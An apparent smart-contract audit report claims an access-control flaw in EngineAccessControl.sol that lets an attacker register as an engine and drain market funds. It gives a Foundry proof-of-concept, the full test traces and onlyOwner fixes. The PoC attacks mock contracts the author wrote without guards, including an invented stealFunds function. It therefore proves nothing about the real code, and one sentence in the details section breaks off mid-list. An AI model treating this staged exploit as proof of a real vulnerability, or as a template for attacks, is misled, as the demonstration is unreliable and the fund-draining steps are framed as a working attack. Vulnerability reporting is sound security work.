Summary
The EngineAccessControl.sol
contract lacks proper access controls on engine registration and market engine assignment, allowing attackers to gain unauthorized privileged access and steal funds
Vulnerability Details
In EngineAccessControl.sol
, the onlyRegisteredEngine
modifier verifies two conditions:
Caller is a registered engine
Caller is the assigned engine for the given market
However, there are no access controls on:
This allows attackers to:
-
Register themselves as an engine
-
Set themselves as a market's engine
-
Gain unauthorized access to privileged functions
-
Steal market funds
modifier onlyRegisteredEngine(uint128 marketId) {
MarketMakingEngineConfiguration.Data storage marketMakingEngineConfiguration =
MarketMakingEngineConfiguration.load();
if (!marketMakingEngineConfiguration.isRegisteredEngine[msg.sender]) {
revert Errors.Unauthorized(msg.sender);
}
Market.Data storage market = Market.load(marketId);
if (market.engine != msg.sender) {
revert Errors.Unauthorized(msg.sender);
}
PoC
pragma solidity 0.8.25;
import "forge-std/Test.sol";
import "forge-std/console.sol";
contract MarketMakingEngineConfiguration {
mapping(address => bool) public isRegisteredEngine;
mapping(address => bool) public isSystemKeeperEnabled;
function registerEngine(address engine) external {
isRegisteredEngine[engine] = true;
console.log("Engine registered:", engine);
}
}
contract Market {
mapping(uint128 => address) public engines;
uint256 public totalFunds = 100 ether;
function setEngine(uint128 marketId, address engine) external {
engines[marketId] = engine;
console.log("Engine set for market", marketId, ":", engine);
}
function getEngine(uint128 marketId) external view returns (address) {
return engines[marketId];
}
function stealFunds(address attacker) external {
console.log("Funds stolen by:", attacker);
console.log("Amount stolen:", totalFunds / 1e18, "ETH");
totalFunds = 0;
}
}
contract EngineAccessControl {
MarketMakingEngineConfiguration public immutable ENGINE_CONFIG;
Market public immutable MARKET;
constructor(MarketMakingEngineConfiguration _engineConfig, Market _market) {
ENGINE_CONFIG = _engineConfig;
MARKET = _market;
}
modifier onlyRegisteredEngine(uint128 marketId) {
if (!ENGINE_CONFIG.isRegisteredEngine(msg.sender)) {
revert("Unauthorized");
}
if (MARKET.getEngine(marketId) != msg.sender) {
revert("Unauthorized");
}
_;
}
}
contract VulnerableEngineAccess is EngineAccessControl {
constructor(MarketMakingEngineConfiguration _engineConfig, Market _market)
EngineAccessControl(_engineConfig, _market) {}
function exploit(uint128 marketId) external {
console.log("\n=== Starting Exploit ===");
console.log("Attacker address:", msg.sender);
console.log("\nStep 1: Register attacker as engine");
ENGINE_CONFIG.registerEngine(msg.sender);
console.log("\nStep 2: Set attacker as market engine");
MARKET.setEngine(marketId, msg.sender);
console.log("\nStep 3: Steal funds using privileged access");
MARKET.stealFunds(msg.sender);
console.log("\n=== Exploit Complete ===");
}
}
contract EngineAccessControlTest is Test {
VulnerableEngineAccess private engineAccess;
MarketMakingEngineConfiguration private engineConfig;
Market private market;
address private attacker;
uint128 private marketId;
function setUp() public {
engineConfig = new MarketMakingEngineConfiguration();
market = new Market();
engineAccess = new VulnerableEngineAccess(engineConfig, market);
attacker = makeAddr("attacker");
marketId = 1;
console.log("\n=== Test Setup ===");
console.log("Initial market funds:", market.totalFunds() / 1e18, "ETH");
}
function testUnauthorizedAccess() public {
vm.startPrank(attacker);
engineAccess.exploit(marketId);
vm.stopPrank();
assertEq(market.totalFunds(), 0, "All funds should be stolen");
}
}
PoC Result:
forge test -vvv --match-test testUnauthorizedAccess -vvv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https:
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.
[⠒] Compiling...
No files changed, compilation skipped
Ran 1 test for test/EngineAccessControl.t.sol:EngineAccessControlTest
[PASS] testUnauthorizedAccess() (gas: 77108)
Logs:
=== Test Setup ===
Initial market funds: 100 ETH
=== Starting Exploit ===
Attacker address: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Step 1: Register attacker as engine
Engine registered: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Step 2: Set attacker as market engine
Engine set for market 1 : 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Step 3: Steal funds using privileged access
Funds stolen by: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Amount stolen: 100 ETH
=== Exploit Complete ===
Traces:
[928793] EngineAccessControlTest::setUp()
├─ [116363] → new MarketMakingEngineConfiguration@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
│ └─ ← [Return] 581 bytes of code
├─ [316835] → new Market@0x2e234DAe75C793f67A35089C9d99245E1C58470b
│ └─ ← [Return] 1472 bytes of code
├─ [295968] → new VulnerableEngineAccess@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
│ └─ ← [Return] 1476 bytes of code
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]
├─ [0] VM::label(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], "attacker")
│ └─ ← [Return]
├─ [0] console::log("\n=== Test Setup ===") [staticcall]
│ └─ ← [Stop]
├─ [294] Market::totalFunds() [staticcall]
│ └─ ← [Return] 100000000000000000000 [1e20]
├─ [0] console::log("Initial market funds:", 100, "ETH") [staticcall]
│ └─ ← [Stop]
└─ ← [Stop]
[81908] EngineAccessControlTest::testUnauthorizedAccess()
├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← [Return]
├─ [65852] VulnerableEngineAccess::exploit(1)
│ ├─ [0] console::log("\n=== Starting Exploit ===") [staticcall]
│ │ └─ ← [Stop]
│ ├─ [0] console::log("Attacker address:", attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ │ └─ ← [Stop]
│ ├─ [0] console::log("\nStep 1: Register attacker as engine") [staticcall]
│ │ └─ ← [Stop]
│ ├─ [23050] MarketMakingEngineConfiguration::registerEngine(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ │ ├─ [0] console::log("Engine registered:", attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ │ │ └─ ← [Stop]
│ │ ├─ storage changes:
│ │ │ @ 0x95e39942d3d4e3c52b847ed093f9085ab6d2d9a023036bf9d1450847eda30f16: 0 → 1
│ │ └─ ← [Stop]
│ ├─ [0] console::log("\nStep 2: Set attacker as market engine") [staticcall]
│ │ └─ ← [Stop]
│ ├─ [23564] Market::setEngine(1, attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ │ ├─ [0] console::log("Engine set for market", 1, ":", attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ │ │ └─ ← [Stop]
│ │ ├─ storage changes:
│ │ │ @ 0xada5013122d395ba3c54772283fb069b10426056ef8ca54750cb9bb552a59e7d: 0 → 0x0000000000000000000000009df0c6b0066d5317aa5b38b36850548dacca6b4e
│ │ └─ ← [Stop]
│ ├─ [0] console::log("\nStep 3: Steal funds using privileged access") [staticcall]
│ │ └─ ← [Stop]
│ ├─ [6901] Market::stealFunds(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ │ ├─ [0] console::log("Funds stolen by:", attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ │ │ └─ ← [Stop]
│ │ ├─ [0] console::log("Amount stolen:", 100, "ETH") [staticcall]
│ │ │ └─ ← [Stop]
│ │ ├─ storage changes:
│ │ │ @ 1: 0x0000000000000000000000000000000000000000000000056bc75e2d63100000 → 0
│ │ └─ ← [Stop]
│ ├─ [0] console::log("\n=== Exploit Complete ===") [staticcall]
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [294] Market::totalFunds() [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::assertEq(0, 0, "All funds should be stolen") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 937.70µs (660.59µs CPU time)
Ran 1 test suite in 60.01s (937.70µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
=== Starting Exploit ===
Attacker address: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Step 1: Register attacker as engine
Engine registered: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Step 2: Set attacker as market engine
Engine set for market 1 : 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Step 3: Steal funds using privileged access
Funds stolen by: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Amount stolen: 100 ETH
Impact
Attackers can gain unauthorized access to privileged engine functions and steal all market funds
Tools Used
Foundry
Manual code review
Recommendations
Add access control to engine registration:
function registerEngine(address engine) external onlyOwner {
isRegisteredEngine[engine] = true;
}
Add access control to market engine assignment:
function setEngine(uint128 marketId, address engine) external onlyOwner {
require(isRegisteredEngine[engine], "Not a registered engine");
engines[marketId] = engine;
}
Consider implementing time-locks for engine changes to provide additional security.